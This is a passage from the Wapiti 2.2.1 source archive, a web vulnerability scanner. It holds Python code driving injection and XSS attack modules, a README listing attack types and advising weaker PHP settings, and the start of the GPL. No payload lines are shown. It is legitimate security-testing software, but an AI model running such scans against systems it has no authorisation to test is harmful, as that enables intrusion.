http://server.com/base/url/ [options] Les options possibles sont les suivantes : -s --start Commencer le scan par l'url spécifiée -x --exclude Pour exclure une url du scan (par exemple un script de déconnexion) L'usage de l'astérisque (*) est autorisé Exemple : -x http://server/base/?page=*&module=test ou -x http://server/base/admin/* pour exclure un répertoire -p --proxy Spécifier l'utilisation d'un proxy Exemple: -p http://proxy:port/ -c --cookie Utiliser un cookie pour les requêtes -t --timeout Définir le temps d'attente (en secondes) -a --auth Spécifier des identifiants pour l'authentification HTTP -r --remove Retirer un paramêtre de toutes les URLs -n --nice Définir une limite pour le nombre d'urls à traiter basées sur le même format (pattern) Utiliser cette option pour éviter d'entrer dans des boucles infinies Cette valeur doit être supérieur à 0 -b --scope Définir le périmêtre du scan : + "page" : analyser uniquement la page passée dans l'URL + "folder" : analyser toutes les pages trouvées dans l'arborescence passée comme URL à Wapiti. + "domain" :analyser toutes les pages trouvées dans le domaine spécifié dans l'URL passée à Wapiti. Par défaut, Wapiti scanne l'arborescence sous l'URL définie en argument principal. -m --module Définir les modules et les méthodes HTTP associées à utiliser pour les attaques. Exemple: -m "-all,xss:get,exec:post" -u --underline Utiliser les couleurs du terminal pour mettre en valeur les paramêtres vulnérables -v --verbose Définie la verbosité des résultats 0: silencieux (défaut), 1: affiche chaque url, 2: affiche chaque attaque en détail -f --reportType Définir le format du rapport xml: Rapport au format XML html: Rapport au format HTML txt: Rapport au format texte simple -o --output Spéficier le nom du fichier où enregistrer le rapport Si le rapport est au format html, ce paramêtre doit être un répertoire -i --continue Reprendre une session de scan en chargeant les paramêtres sauvegardés dans le fichier. Si le paramêtre est appelé sans argument, Wapiti charge la session depuis un fichier par défaut présent dans le dossier "scans". -k --attack Lancer directement les attaques en chargeant les URLs présentes dans ce fichier (ne pas laisser lswww faire un scan préalable). Si le fichier n'est pas spécifié, Wapiti charge un fichier par défaut dans le dossier "scans". -h --help Afficher ce message d'aideavecavec un navigateur pour voir ce rapport.avec le champavec les champsavec les paramêtreswapiti-2.2.1/src/file/0000755000000000000000000000000011316442105013212 5ustar rootrootwapiti-2.2.1/src/file/vulnerabilityxmlparser.py0000644000000000000000000000663211316442105020422 0ustar rootroot#!/usr/bin/env python # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # David del Pozo # Alberto Pastor # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from xml.parsers import expat from vulnerability import Vulnerability class VulnerabilityXMLParser: VULNERABILITY = "vulnerability" VULNERABITITY_NAME = "name" VULNERABILITY_DESCRIPTION = "description" VULNERABILITY_SOLUTION = "solution" VULNERABILITY_REFERENCE = "reference" VULNERABILITY_REFERENCES = "references" VULNERABILITY_REFERENCE_TITLE = "title" VULNERABILITY_REFERENCE_URL = "url" vulnerabilities = [] vul = None references = {} title = "" url = "" tag = "" def __init__(self): self._parser = expat.ParserCreate() self._parser.StartElementHandler = self.start_element self._parser.EndElementHandler = self.end_element self._parser.CharacterDataHandler = self.char_data def parse(self,fileName): f = None try: f = open(fileName) content = f.read() self.feed(content) finally: if f!=None: f.close() def feed(self, data): self._parser.Parse(data, 0) def close(self): self._parser.Parse("", 1) del self._parser def start_element(self, name, attrs): if name==self.VULNERABILITY: self.vul = Vulnerability() self.vul.setName(attrs[self.VULNERABITITY_NAME]) elif name==self.VULNERABILITY_DESCRIPTION: self.tag = self.VULNERABILITY_DESCRIPTION elif name==self.VULNERABILITY_SOLUTION: #self.tag = self.VULNERABILITY_SOLUTION self.vul.setSolution(attrs["text"]) elif name==self.VULNERABILITY_REFERENCES: self.references = {} elif name==self.VULNERABILITY_REFERENCE: self.tag = self.VULNERABILITY_REFERENCE elif name==self.VULNERABILITY_REFERENCE_TITLE: self.tag = self.VULNERABILITY_REFERENCE_TITLE elif name==self.VULNERABILITY_REFERENCE_URL: self.tag = self.VULNERABILITY_REFERENCE_URL def end_element(self, name): if name==self.VULNERABILITY: self.vulnerabilities.append(self.vul) elif name==self.VULNERABILITY_REFERENCE: self.references[self.title] = self.url elif name==self.VULNERABILITY_REFERENCES: self.vul.setReferences(self.references) def char_data(self, data): if self.tag==self.VULNERABILITY_DESCRIPTION: self.vul.setDescription(data) # elif self.tag==self.VULNERABILITY_SOLUTION: # self.vul.setSolution(data) elif self.tag==self.VULNERABILITY_REFERENCE_TITLE: self.title = data elif self.tag==self.VULNERABILITY_REFERENCE_URL: self.url = data self.tag = "" def getVulnerabilities(self): return self.vulnerabilities wapiti-2.2.1/src/file/auxtext.py0000644000000000000000000000326011316442105015267 0ustar rootroot#!/usr/bin/env python # XML Report Generator Module for Wapiti Project # Wapiti Project (http://wapiti.sourceforge.net) # # David del Pozo # Alberto Pastor # Copyright (C) 2008 Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA class AuxText: """Class for reading and writing in text files""" def readLines(self,fileName): """returns a array""" lines = [] f = None try: f = open(fileName) for line in f: cleanLine = line.strip(" \n") if cleanLine != "": lines.append(cleanLine.replace("\\0","\0")) except IOError,e: print e #finally clause do not work with jyton #finally: #if f!=None: #f.close() return lines #class if __name__ == "__main__": try: l = AuxText() ll = l.readLines("./config/execPayloads.txt") for li in ll: print li except SystemExit: pass wapiti-2.2.1/src/file/__init__.py0000644000000000000000000000000011316442105015311 0ustar rootrootwapiti-2.2.1/src/language/0000755000000000000000000000000011316442105014056 5ustar rootrootwapiti-2.2.1/src/language/language.py0000644000000000000000000000435311316442105016220 0ustar rootroot#!/usr/bin/env python # -*- coding: UTF-8 -*- # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os import locale import gettext class Language: """ This class configures the internationalization of Wapiti, retrieving the texts from the files where is the translation. It establishes the funcion "_" for translating. To do it, the method "configure" should be invoked. """ LANG_DIR = 'config/language/' AVAILABLE_LANGS = ["es", "en", "fr"]; BASE_DIR = os.path.normpath(os.path.join(os.path.abspath(__file__), '../..')) LANG_PATH = BASE_DIR + "/" + LANG_DIR def configure(self, lang=None): """ Configures the funcion "_" for translating the texts of Wapiti, this method loads the language indicated as parameter or if the parameter is not specified, it will take the default language of the operating system. """ if lang == None: #if lang is not specified, default language is got defLocale = locale.getdefaultlocale() langCounty = defLocale[0] #en_UK lang = langCounty[:2] #en if lang not in self.AVAILABLE_LANGS: #if lang is not between the lang translated, english by default lang = 'en' lan = gettext.translation('wapiti', self.LANG_PATH, languages=[lang], codeset="UTF-8") lan.install(unicode=True); #funcion which translates def _(key): return lan.lgettext(key); wapiti-2.2.1/src/language/__init__.py0000644000000000000000000000000011316442105016155 0ustar rootrootwapiti-2.2.1/src/wapiti.py0000644000000000000000000003445011316442105014150 0ustar rootroot#!/usr/bin/env python # -*- coding: UTF-8 -*- # Wapiti 2.2.1 - A web application vulnerability scanner # Wapiti Project (http://wapiti.sourceforge.net) # Copyright (C) 2008 Nicolas Surribas # # David del Pozo # Alberto Pastor # Informatica Gesfor # ICT Romulus (http://www.ict-romulus.eu) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import sys import getopt import os from language.language import Language lan = Language() lan.configure() from net import HTTP from report.htmlreportgenerator import HTMLReportGenerator from report.xmlreportgenerator import XMLReportGenerator from report.txtreportgenerator import TXTReportGenerator from file.vulnerabilityxmlparser import VulnerabilityXMLParser from net.crawlerpersister import CrawlerPersister class Wapiti: """ Wapiti-2.2.1 - A web application vulnerability scanner Usage: python wapiti.py http://server.com/base/url/ [options] Supported options are: -s --start To specify an url to start with -x --exclude To exclude an url from the scan (for example logout scripts) You can also use a wildcard (*) Example : -x "http://server/base/?page=*&module=test" or -x http://server/base/admin/* to exclude a directory -p --proxy To specify a proxy Exemple: -p http://proxy:port/ -c --cookie To use a cookie -t --timeout To fix the timeout (in seconds) -a --auth Set credentials for HTTP authentication Doesn't work with Python 2.4 -r --remove Remove a parameter from URLs -n --nice Define a limit of urls to read with the same pattern Use this option to prevent endless loops Must be greater than 0 -m --module Set the modules and HTTP methods to use for attacks. Example: -m "-all,xss:get,exec:post" -u --underline Use color to highlight vulnerables parameters in output -v --verbose Set the verbosity level 0: quiet (default), 1: print each url, 2: print every attack -f --reportType Set the type of the report xml: Report in XML format html: Report in HTML format -o --output Set the name of the report file If the selected report type is "html", this parameter must be a directory -i --continue This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default file from \"scans\" folder. -k --attack This parameter indicates Wapiti to perform attacks without scanning again the website and following the data of this file. The file is optional, if it is not specified, Wapiti takes the default file from \"scans\" folder. -h --help To print this usage message""" urls = {} forms = [] color = 0 verbose = 0 reportGeneratorType = "html" REPORT_DIR = "report" REPORT_FILE = "vulnerabilities.xml" COPY_REPORT_DIR = "generated_report" outputFile = "" options = "" HTTP = None reportGen = None attacks = [] def __init__(self, rooturl): self.HTTP = HTTP.HTTP(rooturl) def __initReport(self): if self.reportGeneratorType.lower() == "xml": self.reportGen = XMLReportGenerator() elif self.reportGeneratorType.lower() == "html": self.reportGen = HTMLReportGenerator() elif self.reportGeneratorType.lower() == "txt": self.reportGen = TXTReportGenerator() else: #default self.reportGen = XMLReportGenerator() if "__file__" in dir(): BASE_DIR = os.path.normpath(os.path.join(os.path.abspath(__file__), '..')) else: BASE_DIR = os.getcwd() xmlParser = VulnerabilityXMLParser() xmlParser.parse(BASE_DIR + "/config/vulnerabilities/vulnerabilities.xml") for vul in xmlParser.getVulnerabilities(): self.reportGen.addVulnerabilityType(_(vul.getName()), _(vul.getDescription()), _(vul.getSolution()), vul.getReferences()) def __initAttacks(self): self.__initReport() attack = __import__("attack") print "[*]", _("Loading modules"), ":" print "\t"+ ", ".join(attack.modules) for mod_name in attack.modules: mod = __import__("attack." + mod_name, fromlist=attack.modules) mod_instance = getattr(mod, mod_name)(self.HTTP, self.reportGen) if hasattr(mod_instance, "setTimeout"): mod_instance.setTimeout(self.HTTP.getTimeOut()) self.attacks.append(mod_instance) self.attacks.sort(lambda a, b: a.PRIORITY - b.PRIORITY) for attack in self.attacks: attack.setVerbose(self.verbose) if self.color == 1: attack.setColor() if self.options != "": opts = self.options.split(",") for opt in opts: method = "" if opt.find(":") > 0: module, method = opt.split(":", 1) else: module = opt # desactivate some module options if module.startswith("-"): module = module[1:] if module == "all": for x in self.attacks: if method == "get" or method == "": x.doGET = False if method == "post" or method == "": x.doPOST = False else: for x in self.attacks: if x.name == module: if method == "get" or method == "": x.doGET = False if method == "post" or method == "": x.doPOST = False # activate some module options else: if module.startswith("+"): module = module[1:] if module == "all": for x in self.attacks: if method == "get" or method == "": x.doGET = True if method == "post" or method == "": x.doPOST = True else: for x in self.attacks: if x.name == module: if method == "get" or method == "": x.doGET = True if method == "post" or method == "": x.doPOST = True def browse(self,crawlerFile): "Extract hyperlinks and forms from the webpages found on the website" self.urls, self.forms = self.HTTP.browse(crawlerFile) def attack(self): "Launch the attacks based on the preferences set by the command line" if self.urls == {} and self.forms == []: print _("No links or forms found in this page !") print _("Make sure the url is correct.") sys.exit(1) self.__initAttacks() for x in self.attacks: if x.doGET == False and x.doPOST == False: continue print if x.require != []: t = [y.name for y in self.attacks if y.name in x.require and (y.doGET or y.doPOST)] if x.require != t: print "[!]", _("Missing dependecies for module"), x.name , ":" print " " , ",".join([y for y in x.require if y not in t]) continue else: x.loadRequire([y for y in self.attacks if y.name in x.require]) print "[+]", _("Launching module"), x.name x.attack(self.urls, self.forms) if self.HTTP.getUploads() != []: print "\n" + _("Upload scripts found") + ":" print "----------------------" for url in self.HTTP.getUploads(): print url if not self.outputFile: if self.reportGeneratorType == "html": self.outputFile = self.COPY_REPORT_DIR else: self.outputFile = self.REPORT_FILE self.reportGen.generateReport(self.outputFile) print "\n" + _("Report") print "------" print _("A report has been generated in the file") + " " + self.outputFile if self.reportGeneratorType == "html": print _("Open") + " " + self.outputFile+ \ "/index.html " + _("with a browser to see this report.") def setTimeOut(self, timeout = 6.0): "Set the timeout for the time waiting for a HTTP response" self.HTTP.setTimeOut(timeout) def setProxy(self, proxy = ""): "Set a proxy to use for HTTP requests." self.HTTP.setProxy(proxy) def addStartURL(self, url): "Specify an URL to start the scan with. Can be called several times." self.HTTP.addStartURL(url) def addExcludedURL(self, url): "Specify an URL to exclude from the scan. Can be called several times." self.HTTP.addExcludedURL(url) def setCookieFile(self, cookie): "Load session data from a cookie file" self.HTTP.setCookieFile(cookie) def setAuthCredentials(self, auth_basic): "Set credentials to use if the website require an authentification." self.HTTP.setAuthCredentials(auth_basic) def addBadParam(self, bad_param): """Exclude a parameter from an url (urls with this parameter will be modified. This function can be call several times""" self.HTTP.addBadParam(bad_param) def setNice(self, nice): """Define how many tuples of parameters / values must be sent for a given URL. Use it to prevent infinite loops.""" self.HTTP.setNice(nice) def setScope(self, scope): """Set the scope of the crawler for the analysis of the web pages""" self.HTTP.setScope(scope) def setColor(self): "Put colors in the console output (terminal must support colors)" self.color = 1 def verbosity(self, vb): "Define the level of verbosity of the output." self.verbose = vb self.HTTP.verbosity(vb) def setModules(self, options = ""): """Activate or desactivate (default) all attacks""" self.options = options def setReportGeneratorType(self, repGentype = "xml"): "Set the format of the generated report. Can be xml, html of txt" self.reportGeneratorType = repGentype def setOutputFile(self, outputFile): "Set the filename where the report will be written" self.outputFile = outputFile if __name__ == "__main__": doc = _("wapityDoc") try: prox = "" auth = [] crawlerPersister = CrawlerPersister(); crawlerFile = None attackFile = None if len(sys.argv) < 2: print doc sys.exit(0) if '-h' in sys.argv or '--help' in sys.argv: print doc sys.exit(0) url = unicode(sys.argv[1]) wap = Wapiti(url) try: opts, args = getopt.getopt(sys.argv[2:], "hup:s:x:c:a:r:v:t:m:o:f:n:kib:", ["help", "underline", "proxy=", "start=", "exclude=", "cookie=", "auth=", "remove=", "verbose=", "timeout=", "module=", "outputfile", "reportType", "nice=", "attack", "continue", "scope="]) except getopt.GetoptError, e: print e sys.exit(2) for o, a in opts: if o in ("-h", "--help"): print doc sys.exit(0) if o in ("-s", "--start"): if (a.find("http://", 0) == 0) or (a.find("https://", 0) == 0): wap.addStartURL(a) if o in ("-x", "--exclude"): if (a.find("http://", 0) == 0) or (a.find("https://", 0) == 0): wap.addExcludedURL(a) if o in ("-p", "--proxy"): wap.setProxy(a) if o in ("-c", "--cookie"): wap.setCookieFile(a) if o in ("-a", "--auth"): if a.find("%") >= 0: auth = [a.split("%")[0], a.split("%")[1]] wap.setAuthCredentials(auth) if o in ("-r", "--remove"): wap.addBadParam(a) if o in ("-n", "--nice"): if str.isdigit(a): wap.setNice(int(a)) if o in ("-u", "--underline"): wap.setColor() if o in ("-v", "--verbose"): if str.isdigit(a): wap.verbosity(int(a)) if o in ("-t", "--timeout"): if str.isdigit(a): wap.setTimeOut(int(a)) if o in ("-m", "--module"): wap.setModules(a) if o in ("-o", "--outputfile"): wap.setOutputFile(a) if o in ("-f", "--reportType"): if (a.find("html", 0) == 0) or (a.find("xml", 0) == 0) \ or (a.find("txt", 0) == 0): wap.setReportGeneratorType(a) if o in ("-b", "--scope"): wap.setScope(a) if o in ("-k", "--attack"): attackFile = crawlerPersister.CRAWLER_DATA_DIR + '/' + \ (url.split("://")[1]).split("/")[0] + '.xml' if o in ("-i", "--continue"): crawlerFile = crawlerPersister.CRAWLER_DATA_DIR + '/' + \ (url.split("://")[1]).split("/")[0] + '.xml' try: opts, args = getopt.getopt(sys.argv[2:], "hup:s:x:c:a:r:v:t:m:o:f:n:k:i:b:", ["help", "underline", "proxy=", "start=", "exclude=", "cookie=", "auth=", "remove=", "verbose=", "timeout=", "module=", "outputfile", "reportType", "nice=", "attack=", "continue=", "scope="]) except getopt.GetoptError, e: "" for o, a in opts: if o in ("-k", "--attack"): if a != "" and a[0] != '-': attackFile = a if o in ("-i", "--continue"): if a != '' and a[0] != '-': crawlerFile = a print _("Wapiti-2.2.1 (wapiti.sourceforge.net)") if attackFile != None: if crawlerPersister.isDataForUrl(attackFile) == 1: crawlerPersister.loadXML(attackFile) # TODO: xml structure wap.urls = crawlerPersister.getBrowsed() wap.forms = crawlerPersister.getForms() # wap.uploads = crawlerPersister.getUploads() print _("File") + " " + attackFile + " " + \ _("loaded, Wapiti will use it to perform the attacks") else: print _("File") + " " + attackFile + " " + \ _("not found, Wapiti will scan again the web site") wap.browse(crawlerFile) else: wap.browse(crawlerFile) try: wap.attack() except KeyboardInterrupt: print "" print _("Attack process interrupted. To perform again the attack, lauch Wapiti with \"-i\" or \"-k\" parameter.") print "" pass except SystemExit: pass wapiti-2.2.1/README0000644000000000000000000002341211316442425012373 0ustar rootroot WAPITI - VERSION 2.2.1 Wapiti is a web application security auditor. http://www.ict-romulus.eu/web/wapiti/home http://wapiti.sourceforge.net/ This version requires Python 2.4 or superior with the urllib2 module. The cookielib module is required if you want to use cookies. How it works ============ Wapiti works as a black box vulnerability scanner, that means it won't study the source code of web applications but will work like a fuzzer, scanning the pages of the deployed web application, extracting links and forms and attacking the scripts looking for error messages or some special strings. It supports the following attacks : + Database Injection (PHP/ASP/JSP SQL Injections and XPath Injections) + Cross Site Scripting (XSS) + Bad File Handling detection (local and remote include, require, fopen, readfile...) + LDAP Injection + Command Execution detection (eval(), system(), passtru()...) + CRLF Injection + Search for potentially dangerous files on the server + Bypass weak htaccess confihurations + Search for copies (backup) of scripts on the server It support both GET and POST HTTP methods, warns when an upload form is found and make the difference beetween permanent and pontual XSS vulnerabilities. A warning is also issued when a HTTP 500 code is returned (useful for ASP/IIS) You can use cookies to access members areas. You can exclude urls from the scan. Wapiti use a web spider library called lswww. Wapiti and lswww use the Python programming language with its common modules. How to get the best results =========================== Wapiti use the BeautifulSoup library as a HTML parser to correct bad html code. To find more vulnerabilities you can modify your PHP configuration to : safe_mode = Off display_errors = On (recommended) magic_quotes_gpc = Off allow_url_fopen = On Where to get help ================= In the prompt, just type the folliwing command to get the basic usage : python wapiti.py -h Here is a more detailed version of the usage : Wapiti - A web application vulnerability scanner Usage: python wapiti.py http://server.com/base/url/ [options] Supported options are: -s --start To specify an url to start with You can specify several urls to start with, just repeat the -s option -x --exclude To exclude an url from the scan (for example logout scripts) You can also use a wildcard (*) Example : -x "http://server/base/?page=*&module=test" or -x http://server/base/admin/* to exclude a directory As for the -s option, you can call it several times. -p --proxy To specify a proxy Example: -p http://proxy:port/ It is possible to use other types of proxy. Just change the protocol. socks://proxy:port/ or tor://proxy:port/ will use a SOCKSv5 proxy. socks4://proxy:port/ will use a SOCKSv4 proxy server. connect://proxy:port/ will tunnel request through HTTP CONNECT requests. -c --cookie To use a cookie. Use cookie.py or getcookie.py (in the net directory) to create a cookie. -t --timeout To fix the timeout (in seconds) The timeout is used to detect time-based blind SQL injections vulnerabilities. It should not be too small. Default timeout is 6 seconds. -a --auth Set credentials for HTTP authentication -r --remove Remove a parameter from URLs. e.g: "-r css" will remove the css parameter and its value from all urls. -n --nice Define a limit of urls to read with the same pattern. Use this option to prevent endless loops. Must be greater than 0 -b --scope Set the scope of the scan: + "page" : to analyse only the page passed in the URL + "folder" : to analyse all the links to the pages which are in the same folder as the URL passed to Wapiti. + "domain" : to analyse all the links to the pages which are in the same domain as the URL passed to Wapiti. If no scope is set, Wapiti scans all the tree under the given URL. -i --continue This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default file from the "scans" folder. -k --attack This parameter indicates Wapiti to perform attacks without scanning again the website and following the data of this file. The file is optional, if it is not specified, Wapiti takes the default file from the "scans" folder. -m --module Set the modules and HTTP methods to use for attacks. Example: -m "-all,xss:get,exec:post" Use only GET request for XSS and POST method for command execution injection -m nikto,backup,htaccess Activate optionnal modules to use every existing modules -u --underline Use color to highlight vulnerables parameters in output -v --verbose Set the verbosity level 0: quiet (default), 1: print each url, 2: print every attack -f --reportType Set the type of the report xml: Report in XML format html: Report in HTML format txt: plain text format -o --output Set the name of the report file If the selected report type is "html", this parameter must be a directory -h --help To print this usage message Files you will find on the src directory : . |-- attack # attack modules used for the vulnerabilities Wapiti can detect. | |-- __init__.py | |-- attack.py # Base for all attack modules | |-- mod_backup.py # This module search backup of scripts on the server | |-- mod_blindsql.py # Time-based blind sql scanner | |-- mod_crlf.py # Search for CR/LF injection in HTTP headers | |-- mod_exec.py # Module used to detect command execution vulnerabilities | |-- mod_file.py # Search for include()/fread() and other file handling vulns | |-- mod_htaccess.py # Try to bypass weak htaccess configurations | |-- mod_nikto.py # Use a Nikto database to search for potentially dangerous files | |-- mod_permanentxss.py # Look for permanent XSS | |-- mod_sql.py # Standard error-based SQL injection scanner | |-- mod_xss.py # Module for XSS detection | `-- vulnerabilitiesdescriptions.py | |-- config | |-- attacks # The payloads injected for the attacks. | | | You can take a look, add your owns or send us ideas :) | | | | | |-- backupPayloads.txt | | |-- blindSQLPayloads.txt | | |-- execPayloads.txt | | |-- fileHandlingPayloads.txt | | `-- xssPayloads.txt | | | |-- language # This directory contain the .mo files to display output in your language | | | `-- vulnerabilities # XML file defining the vulnerabilities. Used for the | | generation of the report. | `-- vulnerabilities.xml | |-- file # to read the XML file we have just talked about. | |-- __init__.py | |-- auxtext.py | `-- vulnerabilityxmlparser.py | |-- generated_report # Scan reports are generated in this directory | |-- language # Scripts used for internationalisation | |-- __init__.py | `-- language.py | |-- language_sources # Language files. You can add your own translation file here | |-- en.po # Please send your traductions | |-- es.po | |-- fr.po | |-- generateSources.sh # Generate .po files based on strings found in .py files | `-- generateTranslations.sh # Generate .mo files from .po files. |-- net | |-- BeautifulSoup.py # Parser to analyse HTML pages. | |-- HTTP.py # wrapper to httplib2. Provide other functions (urlencode...) | |-- __init__.py | |-- cookie.py # two tools to create a cookie file you can use with Wapiti | |-- getcookie.py | |-- crawlerpersister.py # Used to save a scan session and reload it later. | | | |-- httplib2 # We changed urllib2 for httplib2 because it use persistent | | | connections and makes Wapiti faster :) | | |-- LICENSE-socks | | |-- README # documentation for httplib2 | | |-- README-socks # documentation for the socks library | | |-- __init__.py | | |-- iri2uri.py | | `-- socks.py # A library allowing the use of SOCKS proxy | | but also HTTP CONNECT... | | | |-- lswww.py # lswww is the spider module of Wapiti. It is called everytime | | you scan a website. You can use it directly. | | See "python lswww.py -h" | | | `-- libcookie.py # Home-made library to store cookies in XML format | |-- report # modules used to generate a scan report. HTML, XML or TXT formats. | |-- __init__.py | |-- htmlreportgenerator.py | |-- reportgenerator.py | |-- txtreportgenerator.py | `-- xmlreportgenerator.py | |-- report_template # The files used as a template for the HTML reports. | |-- includes | | |-- css | | | |-- canvaschart.css | | | `-- styles.css | | |-- images | | | |-- 7_transparent.png | | | |-- collapse.gif | | | |-- expand.gif | | | |-- romulus_logo_transparent.png | | | `-- wapiti2.gif | | `-- js | | |-- canvaschartpainter.js | | |-- canvaschartpainter.src.js | | |-- chart.js | | |-- chart.src.js | | |-- chartplugin.js | | |-- excanvas.js | | |-- iecanvas.htc | | |-- iecanvas.js | | |-- jgchartpainter.js | | |-- jgchartpainter.src.js | | |-- jquery.js | | |-- json.js | | |-- piechart.js | | |-- report.js | | |-- svgchartpainter.js | | `-- wz_jsgraphics.js | `-- index.html | |-- scans # Scan sessions or saved in XML format in this directory | |-- vulnerability.py `-- wapiti.py # The big one ;-) wapiti-2.2.1/TODO0000644000000000000000000000022311166134615012200 0ustar rootroot- Try Beautiful Soup 3.1.0 and see if it integrates well with Wapiti for a next version. - Add some tools to extract cookies from Opera or Firefox wapiti-2.2.1/AUTHORS0000644000000000000000000000051111064715471012562 0ustar rootrootMain Developer - Nicolas Surribas http://devloop.lyua.org/ http://wapiti.sourceforge.net/ Developer: David del Pozo Company: Informática Gesfor ITC Romulus Project: http://www.ict-romulus.eu Developer: Alberto Pastor Company: Informática Gesfor ITC Romulus Project: http://www.ict-romulus.euwapiti-2.2.1/VERSION0000644000000000000000000000003111316442117012551 0ustar rootrootWapiti 2.2.1 lswww 2.3.1 wapiti-2.2.1/COPYING0000644000000000000000000004310311064172655012552 0ustar rootroot GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program 